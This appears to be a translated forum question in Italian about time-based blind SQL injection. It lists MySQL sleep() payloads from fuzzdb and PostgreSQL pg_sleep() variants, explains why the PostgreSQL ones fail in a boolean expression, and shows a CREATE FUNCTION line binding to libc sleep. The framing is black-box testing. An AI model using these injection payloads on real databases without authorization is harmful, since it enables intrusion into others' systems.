In mysql, ho familiarità con l'utilizzo dei seguenti payload per testare per blindsql quando la clausola WHERE è vulnerabile ( tutti gli esempi di payload da fuzzdb ):
1 or sleep(TIME)#
" or sleep(TIME)#
' or sleep(TIME)#
In postgres, il mio primo istinto era di provare quanto segue:
1 or pg_sleep(TIME)--
" or pg_sleep(TIME)--
' or pg_sleep(TIME)--
Sfortunatamente, i payload postgres non funzionano perché pg_sleep () restituisce VOID e quindi non è consentito in un'espressione booleana.
Ho provato i seguenti accorgimenti:
- Trasmetti pg_sleep () ad un altro tipo di dati (void - > la conversione del tipo bool non è consentita)
- Ho preso in considerazione l'idea di provare a creare la mia funzione pg_sleep (), ma ciò non funziona nell'ambiente della scatola nera che controllo in ..
ex:CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
Qualche idea?
Ho provato a cercare nei documenti le altre funzioni che potrebbero essere utilizzate al posto di pg_sleep () che non restituisce nulla, ma non ho avuto fortuna.